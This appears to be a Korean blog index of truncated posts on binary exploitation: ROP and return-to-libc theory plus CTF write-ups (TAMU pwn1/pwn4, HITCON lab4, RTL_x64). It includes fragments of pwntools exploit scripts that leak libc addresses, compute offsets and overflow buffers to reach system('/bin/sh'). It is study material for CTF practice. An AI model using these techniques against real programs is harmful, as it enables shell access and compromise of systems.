System

    32bit ROP

    Return Oriented Programming(ROP) _x86 NX bit와 ASLR 보호기법, 코드 서명과 같은 보호기법을 우회할 수 있는 기술 프로그램의 흐름 변경을 위해 Stack Overflow와 같은 취약점을 이용해 콜 스택 통제 → 주로 스택 기반연산을 하는 코드 가젯(gadgets) 사용 >> RTL + Gadgets (32bit: 함수의 인자를 스택에 저장) gadgets 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어 일반적으로 "ret"(반환명령어)이 끝으로, 기존 프로그램 또는 공유 라이브러리 코드 내의 서브루틴에 존재 gadgets은 여러 개의 함수를 호출하기 위해 사용한다. -호출하는 함수의 인자가 3개일 때: "pop; pop; pop; ret" -호출하는 함수의 ..

    shot

    checksec IDA로 pseudo code 확인 IDA x64로 실행 2번 메뉴 선택: 원하는 주소값을 출력 3번 메뉴 선택: while 반복문 종료 1번 메뉴 선택: buf에 0x38byte만큼 입력 입력받은 값을 buf에 저장 buf-v7 = 20-10 debugging $2: "/bin/sh" 주소 - system() 주소 $3: "/bin/sh"주소 - libc 주소 one_gadget offset Exploit from pwn import * context.log_level = "debug" p=process("./shot") elf=ELF("./shot") libc=elf.libc p.sendlineafter("> ", '2') p.recvuntil("stdin: ") stdinaddr=i..

    simpleRTL

    checksec IDA로 pseudo code 확인 system의 주소를 출력받고 문자열 s를 입력하게 되어있음 ./simpleRTL 실행하면 system()함수의 주소를 출력하고 문자열 s에 사용자로부터 입력을 받도록 한다. debugging libc-2.23.so 시작 주소: 0xf7dff000 라이브러리 내에 있는 문자열 /bin/sh의 주소: 0xf7f5aa0b system()함수와 '/bin/sh' 주소 사이에 "A"*4를 넣었을 때 계속 오류 발생 >> exit()함수의 주소를 넣어줌 $3: exit() - libc $4: system() - libc $5: /bin/sh - libc Exlploit from pwn import * context.log_level = "debug" p=proc..

    [TAMU 2019] pwn1

    checksec IDA로 pseudo code 확인 name, quest에 정답이 들어가도록 하고 gets(&s)을 이용해서 s에 dummy값을 넣어 overflow 시켜 v5의 값을 0xDEA110C8로 바꿈 ./pwn1 대충 이런식으로 작동 >> name, quest를 위와 같이 입력해야 다음 진행 가능 문자열 s와 v5의 거리 = 0x3B-0x10 >> dummy값으로 채워주기 from pwn import * p=process("./pwn1") p.sendlineafter("What... is your name?","Sir Lancelot of Camelot") p.sendlineafter("What... is your quest?","To seek the Holy Grail.") pl="A"*(0..

    RTL_x64

    checksec IDA로 pseudo code 확인 19-21: printf("inpupt: ", argv); argv = (const char **)&buf; read(0, &buf, 0x60uLL); 주소 구하기 / offset 구하기 pop rdi; ret : 0x400a13 Exploit from pwn import * context.log_level="debug" p=process("./RTL_x64") elf=ELF("./RTL_x64") p.sendlineafter("> ", "2") p.recvuntil("printf() addr: ") printf=int(p.recvuntil('\n'),16) log.info(hex(printf)) sysAdd=printf - 66672 binsh=pri..

    [TAMU 2018] pwn4

    checksec IDA로 바이너리 분석 ls(), cal(), pwd(), whoami() disassemble main+37: reduced_shell 함수 호출 주소 구하기/offset 구하기 Exploit 입력받는 문자열 s의 크기: 1C = 28 byte >> 28 + SFP(4) = 32byte system 주소를 elf.plt['system']으로 구함

    [HITCON] Training lab4 ret2libc

    checksec ret2lib은 32bit 바이너리 파일, Partial RELRO 적용 NX enabled >> RTL 기법 사용 analyze pseudo code (IDA) See_something(v8); // v8 = strtol(&buf, v3, v4); Print_message(&src); // read(0, &src, 0x100u); >> 문자열 src에 256byte(100)만큼 입력받음 인자로 전달받은 변수(*a1)의 주소를 출력 >> 원하는 변수의 주소를 알고 싶을 때 인자로 변수를 전달해 그 주소를 알아낼 수 있음 인자로 전달받은 src를 dest에 복사 >> 256byte만큼 입력받은 src를 dest에 복사 이 때, dest의 크기는 38= 56byte로 OVERFLOW 취약점 ..

    RTL (Return to libc)

    https://www.lazenca.net/pages/viewpage.action?pageId=16810038 03.RTL(Return to libc) - TechNote - Lazenca.0x0 페이지 … TechNote 02.TechNote 05.Basic exploitation techniques 배너의 맨 끝으로 배너의 맨 처음으로 03.RTL(Return to libc) 메타 데이터의 끝으로 건너뛰기 Lazenca.0x0님이 작성, 4월 11, 2018에 최종 변경 메타 데이� www.lazenca.net return address 영역을 공유 라이브러리 함수의 주소로 변경해 함수를 호출하는 방식 → NX bit 우회 가능 목표: system함수의 주소와 "/bin/sh"의 주소를 알아내 sys..